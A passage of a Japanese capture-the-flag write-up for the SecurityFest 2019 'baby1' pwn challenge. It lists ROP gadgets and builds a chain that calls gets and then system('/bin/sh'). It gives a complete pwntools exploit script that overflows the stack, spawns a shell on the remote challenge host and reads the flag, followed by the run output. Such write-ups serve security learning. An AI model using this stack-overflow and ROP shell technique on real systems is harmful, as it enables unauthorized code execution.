0x00400790: pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400792: pop r15 ; ret  ;  (1 found)
0x004005fb: pop rbp ; mov edi, 0x00602010 ; jmp rax ;  (2 found)
0x0040078b: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x0040078f: pop rbp ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400608: pop rbp ; ret  ;  (4 found)
0x00400793: pop rdi ; ret  ;  (1 found)
0x00400791: pop rsi ; pop r15 ; ret  ;  (1 found)
0x0040078d: pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
0x00400665: sbb dword [rax], esp ; add byte [rcx], al ; pop rbp ; ret  ;  (1 found)
0x00400793: pop rdi ; ret  ;  (1 found)

pop rdi; ret;ガジェットが見つかったので次のようなROPを組む。

# gets(bss)

---------------
pop rdi ; ret;
---------------
bss addr
---------------
plt.gets
---------------


# system(/bin/sh)

---------------
pop rdi ; ret;
---------------
bss addr
---------------
plt.system
---------------

最終的なexploit.py

from pwn import *

def send_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.send(payload)
    return

def sendline_payload(payload):
    log.info("payload = %s" % repr(payload))
    r.sendline(payload)
    return

def print_address(s, addr):
    log.info(s + ' : ' + hex(addr))
    return

binary = './baby1'
host ='baby-01.pwn.beer'
port = 10001

elf = ELF(binary)
context.binary = binary
# context.log_level = 'debug'

REMOTE = len(sys.argv) >= 2 and sys.argv[1] == 'r'
if REMOTE:
    # remote
    r = remote(host, port)
else:
    # local
    r = process(binary)
    libc = elf.libc

str_bin_sh = '/bin/sh\x00'

addr_plt_puts = elf.plt['puts']
addr_plt_gets = elf.plt['gets']
addr_plt_system = elf.plt['system']

bss = elf.bss()

print r.recvuntil('input: ')

'''
Gadget
rp --file=binary --unique --rop=5
0x00400793: pop rdi ; ret  ;  (1 found)
'''

payload = ''
payload += 'A' * 24

rop = ROP(elf)
rop.raw(0x00400793) # pop rdi ; ret
rop.raw(bss)
rop.raw(addr_plt_gets)
rop.raw(0x00400793) # pop rdi ; ret
rop.raw(bss)
rop.raw(addr_plt_system)
print rop.dump()
payload += rop.chain()

sendline_payload(payload)
r.sendline(str_bin_sh)
r.sendline('cat flag')
print r.recvall()

# r.interactive()

実行結果

$ python exploit.py r
[*] '/home/user/Desktop/CTF/SecurityFest 2019/Pwn/Baby1/baby1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to baby-01.pwn.beer on port 10001: Done

                                                 Rather ROP than RIP --Lars Tzu 2019

  ▄▀▀▀▀▀▀▀▀▀▀▀██   ▄▀▀▀▀▀▀▀▀▀▀▀██   ▄▀▀▀▀▀▀▀▀▀▀▀██   ▄▀▀▀▀▀▀▀▀▀▀▀██   ▄▀▀▀▀▀▀▀▀▀▀▀██
▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █ ▄█▄▄▄▄▄▄▄▄▄▄▄▀ █
█           █  █ █           █  █ █           █  █ █           █  █ █           █  █
█   ▄▀▀▀▄   █  █ █   █▀▀▀▄   █  █ █   █   █   █  █ █   █▀▀▀▄   █  █ █    ▄█     █  █
█   █▄▄▄█   █  █ █   █▄▄▄▀   █  █ █   ▀▄▄▄▀   █  █ █   █▄▄▄▀   █  █ █   ▀ █     █  █
█   █   █   █  █ █   █   █   █  █ █     █     █  █ █   █   █   █  █ █     █     █  █
█   ▀   ▀   █ ▄▀ █   ▀▀▀▀    █ ▄▀ █     ▀     █ ▄▀ █   ▀▀▀▀    █ ▄▀ █   ▀▀▀▀▀   █ ▄▀
█▄▄▄▄▄▄▄▄▄▄▄█▀   █▄▄▄▄▄▄▄▄▄▄▄█▀   █▄▄▄▄▄▄▄▄▄▄▄█▀   █▄▄▄▄▄▄▄▄▄▄▄█▀   █▄▄▄▄▄▄▄▄▄▄▄█▀

input: 
[*] Loaded cached gadgets for './baby1'
0x0000:         0x400793 pop rdi; ret
0x0008:         0x602010
0x0010:         0x400580 plt.gets
0x0018:         0x400793 pop rdi; ret
0x0020:         0x602010
0x0028:         0x400560 plt.system
[*] payload = 'AAAAAAAAAAAAAAAAAAAAAAAA\x93\x07@\x00\x00\x00\x00\x00\x10 `\x00\x00\x00\x00\x00\x80\x05@\x00\x00\x00\x00\x00\x93\x07@\x00\x00\x00\x00\x00\x10 `\x00\x00\x00\x00\x00`\x05@\x00\x00\x00\x00\x00'
sctf{1.p0p_r3GIs73rS_2.pOp_5H3lL_3.????_4.pr0FiT}

[*] Closed connection to baby-01.pwn.beer port 10001

FLAG : sctf{1.p0p_r3GIs73rS_2.pOp_5H3lL_3.????_4.pr0FiT}

あとがき

競技時間に出来なかったので現在進行系で解いてます。